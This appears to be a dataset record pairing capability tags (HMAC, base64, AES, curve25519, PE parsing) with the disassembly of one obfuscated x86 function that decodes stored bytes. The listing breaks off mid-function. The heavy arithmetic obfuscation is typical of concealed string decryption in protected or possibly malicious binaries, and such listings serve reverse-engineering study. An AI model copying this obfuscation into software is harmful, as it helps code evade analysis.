Function at 0x40e7e0
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using aes mixcolumns step
Encrypt data using curve25519
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x78
mov dword [ebp - 0x84], ecx
jmp 0x40e7f1
cmp dword [0x474614], 0
sete al
test al, 1
jne 0x40e804
jmp 0x417096
mov al, byte [0x471460]
mov dl, al
xor dl, 0xff
or dl, 0xe0
add dl, 0x20
and al, 0xe0
or dl, al
mov byte [0x471660], dl
mov dl, byte [0x471461]
mov ah, dl
and ah, ah
mov al, ah
and al, 0xff
shl al, 1
add ah, 0xff
sub ah, al
and ah, 0xe8
mov al, ah
xor al, 0xff
and al, 0xa8
and ah, 0x57
or al, ah
xor al, 0x57
xor dl, 0xff
or dl, 0xe8
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
mov dl, al
xor dl, 0xff
mov dh, ah
xor dh, 0xff
and dl, dh
or al, ah
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [0x471661], dl
mov dl, byte [0x471462]
mov ah, dl
xor ah, 0xff
mov al, ah
xor al, 0xff
xor ah, 0xff
and al, ah
or al, 0x68
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0x68
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov byte [0x471662], dl
mov al, byte [0x471463]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0x21
and al, 0xde
mov ah, dl
and ah, al
xor dl, al
or ah, dl
mov byte [0x471663], ah
mov al, byte [0x471464]
xor al, 0
mov byte [0x471664], al
mov al, byte [0x471465]
xor al, 0x2b
mov byte [0x471665], al
mov dl, byte [0x471466]
mov al, dl
xor al, 0xff
mov ah, al
xor ah, 0x5d
xor ah, 0xff
or al, 0x5d
and al, ah
and dl, 0xa2
mov ah, dl
xor ah, 0xff
mov dh, al
and dh, ah
mov ah, al
xor ah, dl
add al, ah
sub al, dh
mov byte [0x471666], al
mov al, byte [0x471467]
mov ah, al
or ah, ah
or ah, ah
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
or ah, 0
xor ah, 0xff
mov dl, ah
and dl, 0x9d
xor ah, 0x9d
or dl, ah
xor dl, 0xff
or al, 0x62
mov ah, al
xor ah, 0xff
xor al, 0xff
and ah, al
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
or dl, ah
xor dl, 0xff
mov byte [0x471667], dl
mov al, byte [0x471468]
mov dl, al
xor dl, 0x82
xor dl, 0xff
and dl, 0x82
shl dl, 1
sub dl, 0x82
mov ah, al
sub ah, dl
xor ah, 0xff
and ah, 0x82
shl ah, 1
add ah, 0x7e
sub al, ah
mov byte [0x471668], al
mov al, byte [0x471469]
xor al, 0x90
mov byte [0x471669], al
mov al, byte [0x47146a]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x9b
or al, 0x9b
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [0x47166a], dl
mov al, byte [0x47146b]
mov dl, al
xor dl, 0xff
or dl, dl
xor dl, 0xff
or dl, 0xb7
xor dl, 0xff
and al, 0xb7
or dl, al
xor dl, 0xc8
mov byte [0x47166b], dl
mov al, byte [0x47146c]
mov dh, al
xor dh, 0xff
and dh, 0xd4
mov dl, al
and dl, 0x2b
or dh, dl
xor dh, 0x2b
mov bl, al
xor bl, 0xff
mov ah, dh
xor ah, 0xff
mov cl, bl
xor cl, 0xff
mov dl, ah
and dl, 0x82
and dh, 0x7d
mov bh, cl
and bh, 0x82
and bl, 0x7d
or dl, dh
or bh, bl
xor dl, bh
or ah, cl
xor ah, 0xff
and ah, 0xff
or dl, ah
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or dl, 0xcb
xor al, 0xff
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x34
xor dl, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
xor ah, 0xff
and cl, ah
xor dl, 0xff
xor al, 0xff
and dl, al
or cl, dl
xor cl, 0xff
mov byte [0x47166c], cl
mov al, byte [0x47146d]
xor al, 0x4a
mov byte [0x47166d], al
mov al, byte [0x47146e]
xor al, 0xac
mov byte [0x47166e], al
mov al, byte [0x47146f]
mov dl, al
and dl, dl
mov cl, al
xor cl, cl
or dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
mov dl, ah
xor dl, 0x52
and dl, ah
or al, 0xad
mov ah, al
xor ah, 0xff
and ah, 0xf5
and al, 0xa
or ah, al
xor ah, 0xa
xor dl, 0xff
mov al, ah
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub ah, al
mov al, dl
add al, 1
xor dl, 0xff
or dl, ah
add dl, al
mov byte [0x47166f], dl
mov al, byte [0x471470]
xor al, 0x90
mov byte [0x471670], al
mov al, byte [0x471471]
mov cl, al
xor cl, 0xff
and cl, 0x15
mov dl, al
and dl, 0xea
or cl, dl
xor cl, 0xea
and cl, 0x47
and al, 0xb8
or cl, al
mov byte [0x471671], cl
mov dl, byte [0x471472]
mov al, dl
xor al, 0xff
and al, 0xf7
mov cl, dl
and cl, 8
or al, cl
xor al, 8
and al, 3
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xfc
add dl, cl
or al, dl
xor al, 0x78
mov byte [0x471672], al
mov cl, byte [0x471473]
mov al, cl
xor al, 0xff
and al, 0x6e
and cl, 0x91
mov dl, al
or dl, cl
xor dl, 0xff
or al, cl
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0x78
mov byte [0x471673], dl
mov al, byte [0x471474]
mov cl, al
xor cl, 0xff
and cl, 0x61
and al, 0x9e
or cl, al
xor cl, 0x3e
mov byte [0x471674], cl
mov al, byte [0x471475]
xor al, 0xa7
mov byte [0x471675], al
mov al, byte [0x471476]
mov dl, al
xor dl, 0xce
xor dl, 0xff
mov cl, dl
xor cl, 0xce
xor cl, 0xff
or dl, 0xce
and dl, cl
shl dl, 1
sub dl, 0xce
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x471676], al
mov al, byte [0x471477]
xor al, 0x63
mov byte [0x471677], al
mov al, byte [0x471478]
mov dl, al
and dl, dl
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0x73
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and al, 0x8c
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x471678], dl
mov al, byte [0x471479]
mov cl, al
xor cl, 0xa5
xor cl, 0xff
and cl, 0xa5
shl cl, 1
sub cl, 0xa5
sub al, cl
mov byte [0x471679], al
mov bl, byte [0x47147a]
mov dl, bl
xor dl, 0xc0
xor dl, 0xff
and dl, 0xc0
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xc0
sub bl, al
mov byte [0x47167a], bl
mov al, byte [0x47147b]
xor al, 0x1e
mov byte [0x47167b], al
mov al, byte [0x47147c]
mov cl, al
and cl, 0x49
shl cl, 1
add al, 0x49
sub al, cl
mov byte [0x47167c], al
mov al, byte [0x47147d]
xor al, 0xf2
mov byte [0x47167d], al
mov al, byte [0x47147e]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xf9
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and al, al
xor al, 0xff
and al, 0xf9
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
mov cl, dl
or cl, al
xor cl, 0xff
or dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x47167e], cl
mov al, byte [0x47147f]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xbc
and al, 0x43
or dl, al
mov byte [0x47167f], dl
mov al, byte [0x471480]
xor al, 4
mov byte [0x471680], al
mov al, byte [0x471481]
mov cl, al
and cl, 0x2f
shl cl, 1
add al, 0x2f
sub al, cl
mov byte [0x471681], al
mov al, byte [0x471482]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0xef
mov cl, al
xor cl, 0x10
xor cl, 0xff
or al, 0x10
and al, cl
mov cl, dl
and cl, al
xor dl, al
or cl, dl
mov byte [0x471682], cl
mov al, byte [0x471483]
xor al, 0x50
mov byte [0x471683], al
mov al, byte [0x471484]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x81
and al, 0x81
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x471684], cl
mov al, byte [0x471485]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xd3
and al, 0xd3
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x471685], cl
mov al, byte [0x471486]
xor al, 2
mov byte [0x471686], al
mov cl, byte [0x471487]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x57
xor cl, 0xff
and cl, 0xa8
or al, cl
xor al, 0xff
mov byte [0x471687], al
mov al, byte [0x471488]
mov cl, al
xor cl, 0xfe
xor cl, 0xff
and cl, 0xfe
shl cl, 1
sub cl, 0xfe
sub al, cl
mov byte [0x471688], al
mov al, byte [0x471489]
mov cl, al
xor cl, 0xff
or cl, 0x64
add cl, 0x9c
mov dl, al
xor dl, 0x64
xor dl, 0xff
or al, 0x64
and al, dl
or cl, al
mov byte [0x471689], cl
mov dl, byte [0x47148a]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, dl
sub ah, cl
and al, al
xor al, 0xff
mov cl, ah
xor cl, 0xff
xor ah, 0xff
or cl, ah
and al, cl
xor al, 0xff
and al, 0x34
xor al, 0xff
xor dl, 0xff
or dl, 0x34
xor al, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0xa9
and dl, 0x56
or ah, dl
xor ah, 0x56
mov dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
and dl, cl
xor al, 0xff
xor ah, 0xff
and al, ah
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47168a], dl
mov al, byte [0x47148b]
xor al, 0x15
mov byte [0x47168b], al
mov al, byte [0x47148c]
xor al, 6
mov byte [0x47168c], al
mov al, byte [0x47148d]
mov cl, al
xor cl, 0xff
and cl, 0x6d
and al, 0x92
or cl, al
xor cl, 0x18
mov byte [0x47168d], cl
mov al, byte [0x47148e]
xor al, 0xc5
mov byte [0x47168e], al
mov al, byte [0x47148f]
xor al, 0xd4
mov byte [0x47168f], al
mov al, byte [0x471490]
xor al, 0x71
mov byte [0x471690], al
mov al, byte [0x471491]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x84
xor cl, 0xff
and al, 0x7b
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x471691], cl
mov al, byte [0x471492]
xor al, 0xb8
mov byte [0x471692], al
mov al, byte [0x471493]
mov cl, al
xor cl, 0x9c
xor cl, 0xff
and cl, 0x9c
shl cl, 1
sub cl, 0x9c
sub al, cl
mov byte [0x471693], al
mov al, byte [0x471494]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xd4
xor al, 0xff
or al, 0x2b
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x471694], dl
mov al, byte [0x471495]
xor al, 0xe6
mov byte [0x471695], al
mov al, byte [0x471496]
mov cl, al
xor cl, 0xff
and cl, 0x7b
and al, 0x84
or cl, al
mov byte [0x471696], cl
mov al, byte [0x471497]
xor al, 0x92
mov byte [0x471697], al
mov al, byte [0x471498]
xor al, 0x88
mov byte [0x471698], al
mov al, byte [0x471499]
xor al, 0x8d
mov byte [0x471699], al
mov dl, byte [0x47149a]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0x33
and dl, 0xcc
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov cl, al
xor cl, 0xff
and cl, 0x57
and al, 0xa8
or cl, al
xor cl, 0xe1
mov byte [0x47169a], cl
mov al, byte [0x47149b]
xor al, 0x16
mov byte [0x47169b], al
mov al, byte [0x47149c]
mov cl, al
and cl, 0xde
shl cl, 1
add al, 0xde
sub al, cl
mov byte [0x47169c], al
mov al, byte [0x47149d]
xor al, 0x39
mov byte [0x47169d], al
mov al, byte [0x47149e]
mov cl, al
xor cl, 0x9a
xor cl, 0xff
and cl, 0x9a
shl cl, 1
sub cl, 0x9a
sub al, cl
mov byte [0x47169e], al
mov dl, byte [0x47149f]
mov al, dl
and al, al
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0x83
xor al, 0xff
mov cl, dl
xor cl, 0x83
and cl, dl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [0x47169f], dl
mov al, byte [0x4714a0]
xor al, 0x1c
mov byte [0x4716a0], al
mov al, byte [0x4714a1]
mov cl, al
xor cl, 0x69
xor cl, 0xff
and cl, 0x69
shl cl, 1
sub cl, 0x69
sub al, cl
mov byte [0x4716a1], al
mov al, byte [0x4714a2]
xor al, 0x3c
mov byte [0x4716a2], al
mov al, byte [0x4714a3]
mov cl, al
and cl, 0x3d
shl cl, 1
mov dl, al
add dl, 0x3d
sub dl, cl
xor dl, 0xff
and dl, 0x3d
shl dl, 1
sub dl, 0x3d
sub al, dl
mov byte [0x4716a3], al
mov al, byte [0x4714a4]
xor al, 0xd2
mov byte [0x4716a4], al
mov al, byte [0x4714a5]
xor al, 0xba
mov byte [0x4716a5], al
mov al, byte [0x4714a6]
mov cl, al
xor cl, 0x1c
xor cl, 0xff
and cl, 0x1c
shl cl, 1
sub cl, 0xc0
sub cl, 0x1c
add cl, 0xc0
sub al, cl
mov byte [0x4716a6], al
mov al, byte [0x4714a7]
xor al, 0x36
mov byte [0x4716a7], al
mov al, byte [0x4714a8]
xor al, 4
mov byte [0x4716a8], al
mov al, byte [0x4714a9]
mov cl, al
and cl, 0x74
shl cl, 1
add al, 0x74
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x4716a9], al
mov al, byte [0x4714aa]
xor al, 0xd6
mov byte [0x4716aa], al
mov al, byte [0x4714ab]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ch, al
sub ch, cl
mov dl, ah
xor dl, 0xff
mov cl, ch
xor cl, 0xff
and dl, cl
xor ah, 0xff
xor ch, 0xff
and ah, ch
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
mov cl, dl
and cl, 0x58
mov ah, dl
xor ah, 0xa7
add dl, ah
sub dl, cl
and al, 0xa7
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and dl, al
mov al, dl
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov byte [0x4716ab], al
mov dl, byte [0x4714ac]
mov al, dl
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
mov ah, dl
add ah, 0xff
sub ah, cl
or al, ah
xor al, 0xff
or al, 0xe7
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0xe7
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov byte [0x4716ac], al
mov al, byte [0x4714ad]
xor al, 0xa2
mov byte [0x4716ad], al
mov al, byte [0x4714ae]
xor al, 0x13
mov byte [0x4716ae], al
mov cl, byte [0x4714af]
mov al, cl
xor al, 0xff
and al, 0xac
and cl, 0x53
mov dl, al
or dl, cl
xor dl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0x54
mov byte [0x4716af], dl
mov al, byte [0x4714b0]
mov cl, al
xor cl, 0xce
xor cl, 0xff
and cl, 0xce
shl cl, 1
add cl, 0x32
sub al, cl
mov byte [0x4716b0], al
mov al, byte [0x4714b1]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, dl
xor cl, 0xe8
xor cl, 0xff
or dl, 0xe8
and dl, cl
and al, 0x17
and dl, dl
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and dl, cl
xor dl, 0xff
mov byte [0x4716b1], dl
mov al, byte [0x4714b2]
xor al, 0xf6
mov byte [0x4716b2], al
mov al, byte [0x4714b3]
xor al, 0x69
mov byte [0x4716b3], al
mov dl, byte [0x4714b4]
mov al, dl
xor al, 0xff
xor al, 0xff
xor al, 0x88
and al, 0x88
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x77
add dl, cl
or al, dl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x85
xor dl, 0xff
xor al, 0xff
or al, 0x85
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4716b4], dl
mov al, byte [0x4714b5]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov cl, ah
xor cl, 0xdc
xor cl, 0xff
or ah, 0xdc
and ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
and al, 0x23
mov cl, al
xor cl, 0xff
and cl, 0x24
and al, 0xdb
or cl, al
xor cl, 0xdb
mov al, dl
xor al, cl
xor al, 0xff
or dl, cl
and dl, al
xor dl, 0xff
mov byte [0x4716b5], dl
mov al, byte [0x4714b6]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x8d
xor al, 0xff
and al, 0x72
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4716b6], dl
mov al, byte [0x4714b7]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, cl
xor ah, 0xff
or dl, cl
and dl, ah
or dl, 0x13
xor dl, 0xff
and dl, 0xff
or dl, 0
or al, 0xec
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and dl, al
mov byte [0x4716b7], dl
mov cl, byte [0x4714b8]
mov al, cl
and al, 0x90
shl al, 1
mov dl, cl
and dl, 0x90
or cl, 0x90
add dl, cl
mov cl, dl
xor cl, 0xff
and cl, al
xor al, 0xff
and dl, al
sub dl, cl
mov byte [0x4716b8], dl
mov bl, byte [0x4714b9]
mov dl, bl
and dl, 0xdc
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xdc
sub bl, al
mov byte [0x4716b9], bl
mov al, byte [0x4714ba]
mov cl, al
xor cl, 0xff
and cl, 0x44
and al, 0xbb
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov byte [0x4716ba], dl
mov al, byte [0x4714bb]
mov cl, al
xor cl, 2
xor cl, 0xff
and cl, 2
shl cl, 1
sub cl, 2
sub al, cl
mov byte [0x4716bb], al
mov al, byte [0x4714bc]
mov cl, al
xor cl, 0xff
and cl, 0x56
and al, 0xa9
or cl, al
mov byte [0x4716bc], cl
mov al, byte [0x4714bd]
mov dl, al
and dl, dl
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
or cl, ah
xor dl, 0xff
xor cl, 0xff
or dl, cl
mov ah, dl
xor ah, 0xff
and ah, 0xac
and dl, 0x53
or ah, dl
xor ah, 0x53
xor ah, 0xff
and ah, 0xff
or ah, 0
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0x13
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x13
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
or dl, al
mov byte [0x4716bd], dl
mov al, byte [0x4714be]
xor al, 0xf5
mov byte [0x4716be], al
mov al, byte [0x4714bf]
xor al, 0x92
mov byte [0x4716bf], al
mov bl, byte [0x4714c0]
mov dl, bl
xor dl, 0x20
xor dl, 0xff
or dl, dl
xor dl, 0xff
or dl, 0xdf
xor dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x20
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x4716c0], bl
mov al, byte [0x4714c1]
mov cl, al
xor cl, 0xff
or cl, 0x77
add cl, 0x89
and al, 0x77
or cl, al
mov byte [0x4716c1], cl
mov al, byte [0x4714c2]
xor al, 0xfd
mov byte [0x4716c2], al
mov al, byte [0x4714c3]
xor al, 0x4c
mov byte [0x4716c3], al
mov al, byte [0x4714c4]
xor al, 0x2e
mov byte [0x4716c4], al
mov al, byte [0x4714c5]
xor al, 0xb4
mov byte [0x4716c5], al
mov al, byte [0x4714c6]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xa6
xor al, 0xff
and al, 0x59
mov ah, dl
xor ah, 0xff
and ah, 4
and dl, 0xfb
or ah, dl
xor ah, 0xfb
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and ah, al
xor ah, 0xff
and cl, ah
xor cl, 0xff
mov byte [0x4716c6], cl
mov al, byte [0x4714c7]
xor al, 0x4a
mov byte [0x4716c7], al
mov al, byte [0x4714c8]
xor al, 0x2f
mov byte [0x4716c8], al
mov al, byte [0x4714c9]
xor al, 0x1a
mov byte [0x4716c9], al
mov al, byte [0x4714ca]
xor al, 0xd2
mov byte [0x4716ca], al
mov al, byte [0x4714cb]
mov cl, al
xor cl, 0x44
xor cl, 0xff
and cl, 0x44
shl cl, 1
sub cl, 0x44
sub al, cl
mov byte [0x4716cb], al
mov al, byte [0x4714cc]
xor al, 0xb8
mov byte [0x4716cc], al
mov cl, byte [0x4714cd]
mov dl, cl
xor dl, 0xff
and dl, 0x74
and cl, 0x8b
mov al, dl
and al, cl
xor dl, cl
or al, dl
mov cl, al
xor cl, 0x8f
xor cl, 0xff
and cl, 0x8f
shl cl, 1
sub cl, 0x8f
sub al, cl
mov byte [0x4716cd], al
mov cl, byte [0x4714ce]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xe5
xor al, 0xff
xor cl, 0xff
or cl, 0xe5
and al, cl
xor al, 0xff
mov byte [0x4716ce], al
mov al, byte [0x4714cf]
xor al, 0x94
mov byte [0x4716cf], al
mov al, byte [0x4714d0]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xcb
xor cl, 0xff
xor al, 0xff
and al, 0xcb
or cl, al
xor cl, 0xff
mov byte [0x4716d0], cl
mov dl, byte [0x4714d1]
mov al, dl
xor al, 0xff
mov ah, dl
and ah, ah
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov cl, ah
xor cl, 0xff
mov ch, al
and ch, cl
mov cl, al
xor cl, ah
add al, cl
sub al, ch
and al, 0x2c
xor al, 0xff
xor dl, 0xff
or dl, 0x2c
and al, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x4716d1], al
mov al, byte [0x4714d2]
mov cl, al
xor cl, 0x65
xor cl, 0xff
and cl, 0x65
shl cl, 1
sub cl, 0x65
mov dl, al
sub dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0x65
xor cl, 0xff
or dl, 0x65
and dl, cl
shl dl, 1
sub dl, 0x84
sub dl, 0x65
add dl, 0x84
sub al, dl
mov byte [0x4716d2], al
mov al, byte [0x4714d3]
xor al, 0xc1
mov byte [0x4716d3], al
mov bl, byte [0x4714d4]
mov al, bl
xor al, 0xb7
xor al, 0xff
and al, 0xb7
shl al, 1
sub al, 0xb7
mov dl, bl
sub dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xb7
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x5f
sub al, 0xb7
sub al, 0x5f
sub bl, al
mov byte [0x4716d4], bl
mov cl, byte [0x4714d5]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0xf1
and al, 0xf1
and cl, 0xe
or al, cl
mov cl, al
xor cl, 0xb5
xor cl, 0xff
and cl, 0xb5
shl cl, 1
sub cl, 0xb5
sub al, cl
mov byte [0x4716d5], al
mov al, byte [0x4714d6]
xor al, 0xc
mov byte [0x4716d6], al
mov al, byte [0x4714d7]
xor al, 0x37
mov byte [0x4716d7], al
mov al, byte [0x4714d8]
mov cl, al
xor cl, 0xff
and cl, 0xdc
and al, 0x23
or cl, al
mov byte [0x4716d8], cl
mov al, byte [0x4714d9]
xor al, 0x1f
mov byte [0x4716d9], al
mov al, byte [0x4714da]
mov cl, al
xor cl, 0xff
and cl, 0xcc
and al, 0x33
or cl, al
mov al, cl
xor al, 0xff
and al, 0x5d
and cl, 0xa2
or al, cl
mov byte [0x4716da], al
mov al, byte [0x4714db]
xor al, 0x7e
mov byte [0x4716db], al
mov al, byte [0x4714dc]
xor al, 0x58
mov byte [0x4716dc], al
mov al, byte [0x4714dd]
xor al, 0xfa
mov byte [0x4716dd], al
mov al, byte [0x4714de]
xor al, 0x38
mov byte [0x4716de], al
mov al, byte [0x4714df]
mov cl, al
xor cl, 0xff
and cl, 0xde
and al, 0x21
or cl, al
xor cl, 0x11
mov byte [0x4716df], cl
mov al, byte [0x4714e0]
mov cl, al
xor cl, 0x19
xor cl, 0xff
and cl, 0x19
shl cl, 1
sub cl, 0x19
sub al, 0xd3
sub al, cl
add al, 0xd3
mov byte [0x4716e0], al
mov dl, byte [0x4714e1]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x50
xor dl, 0xff
xor dl, 0xff
or dl, 0x50
xor dl, 0xff
and dl, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x71
and dl, 0x8e
or cl, dl
xor cl, 0x8e
and al, cl
mov byte [0x4716e1], al
mov dl, byte [0x4714e2]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
and al, 0xf0
xor al, 0xff
and dl, 0xf
xor dl, 0xff
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
or ah, cl
and al, dl
xor al, 0xff
and ah, al
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
or ah, 0
mov byte [0x4716e2], ah
mov al, byte [0x4714e3]
xor al, 0xf9
mov byte [0x4716e3], al
mov al, byte [0x4714e4]
mov cl, al
and cl, 0xd2
shl cl, 1
add al, 0xd2
sub al, cl
mov byte [0x4716e4], al
mov al, byte [0x4714e5]
sub al, 0
mov byte [0x4716e5], al
mov cl, byte [0x4714e6]
mov al, cl
xor al, 0xff
mov dl, al
xor dl, 0x44
xor dl, 0xff
or al, 0x44
and al, dl
and cl, 0xbb
or al, cl
mov cl, al
and cl, 0x5e
shl cl, 1
add al, 0x5e
sub al, cl
mov byte [0x4716e6], al
mov al, byte [0x4714e7]
mov cl, al
xor cl, 0xff
and cl, 0xd1
and al, 0x2e
or cl, al
xor cl, 0xe5
mov byte [0x4716e7], cl
mov al, byte [0x4714e8]
mov cl, al
and cl, 0x92
shl cl, 1
add al, 0x92
sub al, cl
mov byte [0x4716e8], al
mov dl, byte [0x4714e9]
mov cl, dl
add cl, 1
mov al, dl
xor al, 0xff
or al, dl
add al, cl
xor al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x6e
xor al, 0xff
xor dl, 0xff
or dl, 0x6e
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
